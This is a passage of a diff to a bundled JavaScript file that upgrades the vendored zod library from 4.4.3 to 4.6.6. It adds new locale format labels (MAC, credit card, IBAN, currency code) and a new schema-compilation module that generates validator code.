Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, file: { unit: "\u0431\u0430\u0439\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56373,12 +58913,16 @@ var error44 = () => { duration: "\u0442\u0440\u0438\u0432\u0430\u043B\u0456\u0441\u0442\u044C ISO", ipv4: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv4", ipv6: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv6", + mac: "\u0430\u0434\u0440\u0435\u0441\u0430 MAC", cidrv4: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv4", cidrv6: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv6", base64: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64", base64url: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64url", json_string: "\u0440\u044F\u0434\u043E\u043A JSON", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0457 \u043A\u0430\u0440\u0442\u043A\u0438", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u0438", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456" }; @@ -56446,22 +58990,23 @@ var error44 = () => { }; function uk_default() { return { - localeError: error44() + localeError: error55() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ua.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ua.js function ua_default() { return uk_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ur.js -var error45 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ur.js +var error56 = () => { const Sizable = { string: { unit: "\u062D\u0631\u0648\u0641", verb: "\u06C1\u0648\u0646\u0627" }, file: { unit: "\u0628\u0627\u0626\u0679\u0633", verb: "\u06C1\u0648\u0646\u0627" }, array: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, - set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } + set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, + map: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56487,12 +59032,16 @@ var error45 = () => { duration: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0645\u062F\u062A", ipv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0627\u06CC\u0688\u0631\u06CC\u0633", ipv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0627\u06CC\u0688\u0631\u06CC\u0633", + mac: "\u0627\u06CC\u0645 \u0627\u06D2 \u0633\u06CC \u0627\u06CC\u0688\u0631\u06CC\u0633", cidrv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0631\u06CC\u0646\u062C", cidrv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0631\u06CC\u0646\u062C", base64: "\u0628\u06CC\u0633 64 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", base64url: "\u0628\u06CC\u0633 64 \u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", json_string: "\u062C\u06D2 \u0627\u06CC\u0633 \u0627\u0648 \u0627\u06CC\u0646 \u0633\u0679\u0631\u0646\u06AF", e164: "\u0627\u06CC 164 \u0646\u0645\u0628\u0631", + credit_card: "\u06A9\u0631\u06CC\u0688\u0679 \u06A9\u0627\u0631\u0688 \u0646\u0645\u0628\u0631", + currency_code: "\u06A9\u0631\u0646\u0633\u06CC \u06A9\u0648\u0688", + iban: "IBAN", jwt: "\u062C\u06D2 \u0688\u0628\u0644\u06CC\u0648 \u0679\u06CC", template_literal: "\u0627\u0646 \u067E\u0679" }; @@ -56562,12 +59111,12 @@ var error45 = () => { }; function ur_default() { return { - localeError: error45() + localeError: error56() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uz.js -var error46 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uz.js +var error57 = () => { const Sizable = { string: { unit: "belgi", verb: "bo\u2018lishi kerak" }, file: { unit: "bayt", verb: "bo\u2018lishi kerak" }, @@ -56606,6 +59155,9 @@ var error46 = () => { base64url: "base64url kodlangan satr", json_string: "JSON satr", e164: "E.164 raqam", + credit_card: "kredit karta raqami", + currency_code: "valyuta kodi", + iban: "IBAN", jwt: "JWT", template_literal: "kirish" }; @@ -56673,17 +59225,18 @@ var error46 = () => { }; function uz_default() { return { - localeError: error46() + localeError: error57() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/vi.js -var error47 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/vi.js +var error58 = () => { const Sizable = { string: { unit: "k\xFD t\u1EF1", verb: "c\xF3" }, file: { unit: "byte", verb: "c\xF3" }, array: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, - set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } + set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, + map: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56709,12 +59262,16 @@ var error47 = () => { duration: "kho\u1EA3ng th\u1EDDi gian ISO", ipv4: "\u0111\u1ECBa ch\u1EC9 IPv4", ipv6: "\u0111\u1ECBa ch\u1EC9 IPv6", + mac: "\u0111\u1ECBa ch\u1EC9 MAC", cidrv4: "d\u1EA3i IPv4", cidrv6: "d\u1EA3i IPv6", base64: "chu\u1ED7i m\xE3 h\xF3a base64", base64url: "chu\u1ED7i m\xE3 h\xF3a base64url", json_string: "chu\u1ED7i JSON", e164: "s\u1ED1 E.164", + credit_card: "s\u1ED1 th\u1EBB t\xEDn d\u1EE5ng", + currency_code: "m\xE3 ti\u1EC1n t\u1EC7", + iban: "IBAN", jwt: "JWT", template_literal: "\u0111\u1EA7u v\xE0o" }; @@ -56782,17 +59339,18 @@ var error47 = () => { }; function vi_default() { return { - localeError: error47() + localeError: error58() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-CN.js -var error48 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-CN.js +var error59 = () => { const Sizable = { string: { unit: "\u5B57\u7B26", verb: "\u5305\u542B" }, file: { unit: "\u5B57\u8282", verb: "\u5305\u542B" }, array: { unit: "\u9879", verb: "\u5305\u542B" }, - set: { unit: "\u9879", verb: "\u5305\u542B" } + set: { unit: "\u9879", verb: "\u5305\u542B" }, + map: { unit: "\u9879", verb: "\u5305\u542B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56818,12 +59376,16 @@ var error48 = () => { duration: "ISO\u65F6\u957F", ipv4: "IPv4\u5730\u5740", ipv6: "IPv6\u5730\u5740", + mac: "MAC\u5730\u5740", cidrv4: "IPv4\u7F51\u6BB5", cidrv6: "IPv6\u7F51\u6BB5", base64: "base64\u7F16\u7801\u5B57\u7B26\u4E32", base64url: "base64url\u7F16\u7801\u5B57\u7B26\u4E32", json_string: "JSON\u5B57\u7B26\u4E32", e164: "E.164\u53F7\u7801", + credit_card: "\u4FE1\u7528\u5361\u53F7", + currency_code: "\u8D27\u5E01\u4EE3\u7801", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F93\u5165" }; @@ -56892,17 +59454,18 @@ var error48 = () => { }; function zh_CN_default() { return { - localeError: error48() + localeError: error59() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-TW.js -var error49 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-TW.js +var error60 = () => { const Sizable = { string: { unit: "\u5B57\u5143", verb: "\u64C1\u6709" }, file: { unit: "\u4F4D\u5143\u7D44", verb: "\u64C1\u6709" }, array: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, - set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } + set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, + map: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56928,12 +59491,16 @@ var error49 = () => { duration: "ISO \u671F\u9593", ipv4: "IPv4 \u4F4D\u5740", ipv6: "IPv6 \u4F4D\u5740", + mac: "MAC \u4F4D\u5740", cidrv4: "IPv4 \u7BC4\u570D", cidrv6: "IPv6 \u7BC4\u570D", base64: "base64 \u7DE8\u78BC\u5B57\u4E32", base64url: "base64url \u7DE8\u78BC\u5B57\u4E32", json_string: "JSON \u5B57\u4E32", e164: "E.164 \u6578\u503C", + credit_card: "\u4FE1\u7528\u5361\u865F", + currency_code: "\u8CA8\u5E63\u4EE3\u78BC", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F38\u5165" }; @@ -57000,17 +59567,18 @@ var error49 = () => { }; function zh_TW_default() { return { - localeError: error49() + localeError: error60() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/yo.js -var error50 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/yo.js +var error61 = () => { const Sizable = { string: { unit: "\xE0mi", verb: "n\xED" }, file: { unit: "bytes", verb: "n\xED" }, array: { unit: "nkan", verb: "n\xED" }, - set: { unit: "nkan", verb: "n\xED" } + set: { unit: "nkan", verb: "n\xED" }, + map: { unit: "nkan", verb: "n\xED" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -57036,12 +59604,16 @@ var error50 = () => { duration: "\xE0k\xF3k\xF2 t\xF3 p\xE9 ISO", ipv4: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv4", ipv6: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv6", + mac: "\xE0d\xEDr\u1EB9\u0301s\xEC MAC", cidrv4: "\xE0gb\xE8gb\xE8 IPv4", cidrv6: "\xE0gb\xE8gb\xE8 IPv6", base64: "\u1ECD\u0300r\u1ECD\u0300 t\xED a k\u1ECD\u0301 n\xED base64", base64url: "\u1ECD\u0300r\u1ECD\u0300 base64url", json_string: "\u1ECD\u0300r\u1ECD\u0300 JSON", e164: "n\u1ECD\u0301mb\xE0 E.164", + credit_card: "n\u1ECDmba kaadi gbese", + currency_code: "koodu ow\xF3", + iban: "IBAN", jwt: "JWT", template_literal: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9" }; @@ -57108,14 +59680,14 @@ var error50 = () => { }; function yo_default() { return { - localeError: error50() + localeError: error61() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/registries.js var _a2; -var $output = Symbol("ZodOutput"); -var $input = Symbol("ZodInput"); +var $output = /* @__PURE__ */ Symbol("ZodOutput"); +var $input = /* @__PURE__ */ Symbol("ZodInput"); var $ZodRegistry = class { constructor() { this._map = /* @__PURE__ */ new WeakMap(); @@ -57162,21 +59734,1624 @@ function registry() { (_a2 = globalThis).__zod_globalRegistry ?? (_a2.__zod_globalRegistry = registry()); var globalRegistry = globalThis.__zod_globalRegistry; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/compile.js +var INVALID = Symbol.for("zod.compile.invalid"); +var FALLBACK_FLAG = Symbol.for("zod.compile.fallback"); +var ZodCompileAsyncError = class extends Error { + constructor(message2 = "z.compile does not support async refinements, transforms, or checks") { + super(message2); + this.name = "ZodCompileAsyncError"; + } +}; +var ZodCompileUnsupportedError = class extends Error { + constructor(feature, islandable = true) { + super(`z.compile does not support ${feature}; this schema must use the runtime parser`); + this.name = "ZodCompileUnsupportedError"; + this.islandable = islandable; + } +}; +function compileValidator(schema, parser) { + try { + return compileFn(schema, { assertOnly: true }); + } catch { + return parser; + } +} +function compile(schema, options) { + try { + const parser = compileFn(schema); + const clone2 = withParser(schema, parser); + clone2._zod.bag.validator = compileValidator(schema, parser); + return clone2; + } catch (err) { + if (options?.strict) + throw err; + return schema; + } +} +function withParser(schema, parser) { + if (isRecursiveSchema(schema)) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const clone2 = clone(schema); + const liveRun = schema._zod.run; + const originalRun = liveRun.__originalRun ?? liveRun; + const wrapped = (payload, ctx) => { + if (ctx?.async || ctx?.direction === "backward" || ctx?.skipChecks || ctx?.[FALLBACK_FLAG]) { + return originalRun(payload, ctx); + } + if (ctx && isBackEdge(ctx, payload.value)) { + return originalRun(payload, ctx); + } + const out = parser(payload.value); + if (out !== INVALID) { + payload.value = out; + return payload; + } + if (ctx) + ctx[FALLBACK_FLAG] = true; + return originalRun(payload, ctx); + }; + wrapped.__originalRun = originalRun; + clone2._zod.bag.fallbackRun = originalRun; + clone2._zod.bag.validator = parser; + clone2._zod.run = wrapped; + if (!liveRun.__originalRun) + installCompiledUserMethods(clone2, schema, parser); + return clone2; +} +function installCompiledUserMethods(target, source, parser) { + const targetAny = target; + const sourceAny = source; + if (typeof sourceAny.safeParse === "function") { + const originalSafeParse = sourceAny.safeParse; + targetAny.safeParse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return { success: true, data: out }; + } + return originalSafeParse(data, params); + }; + } + if (typeof sourceAny.parse === "function") { + const originalParse = sourceAny.parse; + targetAny.parse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return out; + } + return originalParse(data, params); + }; + } +} +function compileFn(schema, options) { + let recursive2 = true; + try { + recursive2 = isRecursiveSchema(schema); + } catch { + } + if (recursive2) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const ctx = { + constants: /* @__PURE__ */ new Map(), + constantCounter: 0, + varCounter: 0, + definite: true + }; + const doc = new Doc(["input"]); + const outputAccessor = generateCheck(doc, ctx, schema, "input", !options?.assertOnly); + doc.write(outputAccessor === null ? `return true;` : `return ${outputAccessor};`); + const constantNames = ["INVALID", ...ctx.constants.keys()]; + const constantValues = [INVALID, ...ctx.constants.values()]; + const code = doc.content.join("\n"); + const fullCode = options?.debug ? constantNames.length > 0 ? `// Constants: ${constantNames.join(", ")} +${code}` : code : ""; + const F = Function; + const factoryCode = `return (input) => { +${code} +}`; + let fn; + try { + const factory = new F(...constantNames, factoryCode); + fn = factory(...constantValues); + } catch (err) { + throw new ZodCompileUnsupportedError(`this schema (generated code failed to evaluate: ${err.message})`); + } + if (options?.debug) { + fn.code = fullCode; + } + fn.definite = ctx.definite; + return fn; +} +function addConstant(ctx, value) { + for (const [name2, v] of ctx.constants) { + if (v === value) + return name2; + } + const name = `c${ctx.constantCounter++}`; + ctx.constants.set(name, value); + return name; +} +function addUserConstant(ctx, fn) { + ctx.definite = false; + return addConstant(ctx, fn); +} +function newVar(ctx) { + return `v${ctx.varCounter++}`; +} +function runtimeRun(schema, value) { + const result = schema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + return r.issues.length === 0 ? r.value : INVALID; +} +function compileChild(doc, ctx, schema, accessor, needsValue = true) { + const contentLen = doc.content.length; + const constantCount = ctx.constants.size; + const constantCounter = ctx.constantCounter; + const varCounter = ctx.varCounter; + try { + return generateCheck(doc, ctx, schema, accessor, needsValue); + } catch (err) { + if (!(err instanceof ZodCompileUnsupportedError) || !err.islandable) + throw err; + doc.content.length = contentLen; + if (ctx.constants.size > constantCount) { + const trailing = Array.from(ctx.constants.keys()).slice(constantCount); + for (const k of trailing) + ctx.constants.delete(k); + } + ctx.constantCounter = constantCounter; + ctx.varCounter = varCounter; + return emitRuntimeIsland(doc, ctx, schema, accessor); + } +} +function emitRuntimeIsland(doc, ctx, schema, accessor) { + ctx.definite = false; + const schemaConst = addConstant(ctx, schema); + const runConst = addConstant(ctx, runtimeRun); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${runConst}(${schemaConst}, ${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; +} +var WHEN_DEFAULTED_CHECKS = /* @__PURE__ */ new Set([ + "max_size", + "min_size", + "size_equals", + "max_length", + "min_length", + "length_equals" +]); +function generateChecks(doc, ctx, schema, accessor) { + const schemaChecks = schema._zod.def.checks; + if (!schemaChecks || schemaChecks.length === 0) + return accessor; + let currentAccessor = accessor; + for (const check3 of schemaChecks) { + const def = check3._zod.def; + if (def.when && !WHEN_DEFAULTED_CHECKS.has(def.check)) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + switch (def.check) { + case "greater_than": + generateGreaterThanCheck(doc, ctx, def, currentAccessor); + break; + case "less_than": + generateLessThanCheck(doc, ctx, def, currentAccessor); + break; + case "multiple_of": + generateMultipleOfCheck(doc, ctx, def, currentAccessor); + break; + case "number_format": + generateNumberFormatCheck(doc, def, currentAccessor); + break; + case "min_length": { + const min = numericOperand(def.minimum, "min_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${min} && ${currentAccessor}.length < ${def.minimum * 2}`); + doc.write(`if (${len} < ${min}) return INVALID;`); + break; + } + case "max_length": { + const max = numericOperand(def.maximum, "max_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length > ${max}`); + doc.write(`if (${len} > ${max}) return INVALID;`); + break; + } + case "length_equals": { + const exact = numericOperand(def.length, "length_equals"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${exact} && ${currentAccessor}.length <= ${def.length * 2}`); + doc.write(`if (${len} !== ${exact}) return INVALID;`); + break; + } + case "min_size": + doc.write(`if (${currentAccessor}.size < ${numericOperand(def.minimum, "min_size")}) return INVALID;`); + break; + case "max_size": + doc.write(`if (${currentAccessor}.size > ${numericOperand(def.maximum, "max_size")}) return INVALID;`); + break; + case "size_equals": + doc.write(`if (${currentAccessor}.size !== ${numericOperand(def.size, "size_equals")}) return INVALID;`); + break; + case "string_format": + currentAccessor = generateStringFormatCheck(doc, ctx, def, currentAccessor); + break; + case "custom": + currentAccessor = generateCustomRefineCheck(doc, ctx, check3, currentAccessor); + break; + case "bigint_format": + generateBigIntFormatCheck(doc, def, currentAccessor); + break; + case "mime_type": + generateMimeTypeCheck(doc, ctx, def, currentAccessor); + break; + case "property": + generatePropertyCheck(doc, ctx, def, currentAccessor); + break; + case "properties": + generatePropertiesChecks(doc, ctx, def, currentAccessor); + break; + case "overwrite": { + const newAccessor = newVar(ctx); + generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor); + currentAccessor = newAccessor; + break; + } + default: { + throw new ZodCompileUnsupportedError(`check type ${def.check}`); + } + } + } + return currentAccessor; +} +function codePointLengthVar(doc, ctx, accessor, inDoubt) { + const cpLen = addConstant(ctx, codePointLength); + const v = newVar(ctx); + doc.write(`const ${v} = typeof ${accessor} === "string" && ${inDoubt} ? ${cpLen}(${accessor}) : ${accessor}.length;`); + return v; +} +function numericOperand(value, label) { + if (typeof value !== "number" || !Number.isFinite(value)) { + throw new ZodCompileUnsupportedError(`${label} bound of type ${typeof value}`); + } + return `${value}`; +} +function comparisonOperand(ctx, value) { + if (typeof value === "bigint") + return `${value}n`; + if (typeof value === "number") { + if (Number.isNaN(value)) + throw new ZodCompileUnsupportedError("comparison check with NaN bound"); + return `${value}`; + } + if (value instanceof Date) { + if (Number.isNaN(value.getTime())) { + throw new ZodCompileUnsupportedError("comparison check with Invalid Date bound"); + } + return addConstant(ctx, value); + } + throw new ZodCompileUnsupportedError(`comparison check bound of type ${typeof value}`); +} +function generateGreaterThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? "<" : "<="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateLessThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? ">" : ">="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateMultipleOfCheck(doc, ctx, def, accessor) { + if (typeof def.value === "bigint") { + if (def.value === BigInt(0)) + throw new ZodCompileUnsupportedError("multiple_of check with a zero divisor"); + doc.write(`if (${accessor} % ${def.value}n !== 0n) return INVALID;`); + } else { + const remainder = addConstant(ctx, floatSafeRemainder); + doc.write(`if (${remainder}(${accessor}, ${numericOperand(def.value, "multiple_of")}) !== 0) return INVALID;`); + } +} +function generateNumberFormatCheck(doc, def, accessor) { + const format = def.format; + switch (format) { + case "safeint": + doc.write(`if (!Number.isSafeInteger(${accessor})) return INVALID;`); + break; + case "int32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < -2147483648 || ${accessor} > 2147483647) return INVALID;`); + break; + case "uint32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < 0 || ${accessor} > 4294967295) return INVALID;`); + break; + case "float32": + doc.write(`if (!Number.isFinite(${accessor}) || ${accessor} < -3.4028234663852886e38 || ${accessor} > 3.4028234663852886e38) return INVALID;`); + break; + case "float64": + doc.write(`if (!Number.isFinite(${accessor})) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`number format ${format}`); + } + } +} +function generateBigIntFormatCheck(doc, def, accessor) { + const format = def.format; + if (!format) + return; + switch (format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`bigint format ${format}`); + } + } +} +function generateMimeTypeCheck(doc, ctx, def, accessor) { + const mimeTypes = def.mime; + if (mimeTypes && mimeTypes.length > 0) { + const mimeSet = addConstant(ctx, new Set(mimeTypes)); + doc.write(`if (!${mimeSet}.has(${accessor}.type)) return INVALID;`); + } +} +function generatePropertiesChecks(doc, ctx, def, accessor) { + if (def.when) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + doc.write(`if (${accessor} == null) return INVALID;`); + const shape = def.shape; + for (const key of Reflect.ownKeys(shape)) { + const keyExpr = typeof key === "symbol" ? addConstant(ctx, key) : esc(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${keyExpr}];`); + compileChild(doc, ctx, shape[key], inputVar, false); + } +} +function generatePropertyCheck(doc, ctx, def, accessor) { + const propAccessor = `${accessor}[${JSON.stringify(def.property)}]`; + generateCheck(doc, ctx, def.schema, propAccessor); +} +function generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor) { + const tx = check3._zod.def.tx; + if (!tx) { + throw new ZodCompileUnsupportedError("overwrite check without a transform function"); + } + if (isAsyncFunction(tx)) { + throw new ZodCompileAsyncError("z.compile: async overwrite transforms are not supported"); + } + const txConst = addConstant(ctx, tx); + doc.write(`const ${newAccessor} = ${txConst}(${currentAccessor});`); +} +function throwAsync() { + throw new $ZodAsyncError(); +} +function pushIssue(issue2) { + this.issues.push(issue2); +} +function generateCustomRefineCheck(doc, ctx, check3, accessor) { + const def = check3._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async .refine() predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + return accessor; + } + if (check3._zod.check) { + if (isAsyncFunction(check3._zod.check)) { + throw new ZodCompileAsyncError("z.compile: async .superRefine() / check functions are not supported"); + } + const checkFn = check3._zod.check; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = checkFn(fakePayload); + if (result instanceof Promise) + throwAsync(); + return fakePayload.issues.length === 0 ? fakePayload.value : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; + } + throw new ZodCompileUnsupportedError("custom check without a predicate or check function"); +} +var PATTERN_IS_COMPLETE = /* @__PURE__ */ new Set([ + "cidrv4", + "cuid", + "cuid2", + "date", + "datetime", + "duration", + "e164", + "email", + "emoji", + "ends_with", + "guid", + "includes", + "ipv4", + "ksuid", + "lowercase", + "mac", + "nanoid", + "regex", + "starts_with", + "time", + "ulid", + "uppercase", + "uuid", + "xid" +]); +function generateStringFormatCheck(doc, ctx, def, accessor, needsValue = true) { + const fmt = def.format; + if (fmt === "base64") { + const validator = addConstant(ctx, isValidBase64); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "base64url") { + const validator = addConstant(ctx, isValidBase64URL); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "jwt") { + const validator = addConstant(ctx, isValidJWT); + const alg = addConstant(ctx, def.alg ?? null); + doc.write(`if (!${validator}(${accessor}, ${alg})) return INVALID;`); + return accessor; + } + if (fmt === "ipv6") { + const validator = addConstant(ctx, isValidIPv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "cidrv6") { + const validator = addConstant(ctx, isValidCIDRv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "credit_card") { + const validator = addConstant(ctx, isValidCreditCard); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "iban") { + const validator = addConstant(ctx, isValidIBAN); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + const formatDef = def; + if (fmt === "url" || fmt === "httpurl" || formatDef.normalize || formatDef.hostname !== void 0 || formatDef.protocol !== void 0) { + const parseConst = addConstant(ctx, validateURL); + const defConst = addConstant(ctx, def); + const trimVar = newVar(ctx); + const urlVar = newVar(ctx); + doc.write(`const ${trimVar} = ${accessor}.trim();`); + doc.write(`const ${urlVar} = ${parseConst}(${trimVar}, ${defConst});`); + doc.write(`if (typeof ${urlVar} === "number") return INVALID;`); + if (formatDef.hostname !== void 0) { + const hostnameConst = addConstant(ctx, urlHostnameOk); + doc.write(`if (!${hostnameConst}(${urlVar}, ${defConst}.hostname)) return INVALID;`); + } + if (formatDef.protocol !== void 0) { + const protocolConst = addConstant(ctx, urlProtocolOk); + doc.write(`if (!${protocolConst}(${urlVar}, ${defConst}.protocol)) return INVALID;`); + } + if (!needsValue) + return null; + const outputVar = newVar(ctx); + const outputExpr = formatDef.normalize ? `${urlVar}.href` : `${addConstant(ctx, stripTabAndNewline)}(${trimVar})`; + doc.write(`const ${outputVar} = ${outputExpr};`); + return outputVar; + } + const customFn = def.fn; + if (customFn) { + if (isAsyncFunction(customFn)) + throw new ZodCompileUnsupportedError(`async string format ${fmt}`); + const fnConst = addConstant(ctx, customFn); + doc.write(`if (!${fnConst}(${accessor})) return INVALID;`); + return accessor; + } + if (PATTERN_IS_COMPLETE.has(fmt) && def.pattern) { + const patternConst = addConstant(ctx, def.pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + return accessor; + } + const format = def.format; + switch (format) { + case "regex": + throw new ZodCompileUnsupportedError("regex format without a pattern"); + case "lowercase": + doc.write(`if (${accessor} !== ${accessor}.toLowerCase()) return INVALID;`); + break; + case "uppercase": + doc.write(`if (${accessor} !== ${accessor}.toUpperCase()) return INVALID;`); + break; + case "includes": + doc.write(`if (!${accessor}.includes(${esc(def.includes)})) return INVALID;`); + break; + case "starts_with": { + const prefix = def.prefix; + doc.write(`if (${accessor}.slice(0, ${prefix.length}) !== ${esc(prefix)}) return INVALID;`); + break; + } + case "ends_with": { + const suffix = def.suffix; + doc.write(`if (${accessor}.slice(-${suffix.length}) !== ${esc(suffix)}) return INVALID;`); + break; + } + default: { + throw new ZodCompileUnsupportedError(`string format ${format}`); + } + } + return accessor; +} +function generateCheck(doc, ctx, schema, accessor, needsValue = true) { + const def = schema._zod.def; + const type = def.type; + if (def.coerce) { + throw new ZodCompileUnsupportedError(`coercion (z.coerce.${type}())`); + } + const buildsValue = needsValue || !!def.checks?.length; + let typeAccessor; + switch (type) { + case "string": + typeAccessor = generateStringCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "number": + typeAccessor = generateNumberCheck(doc, schema, 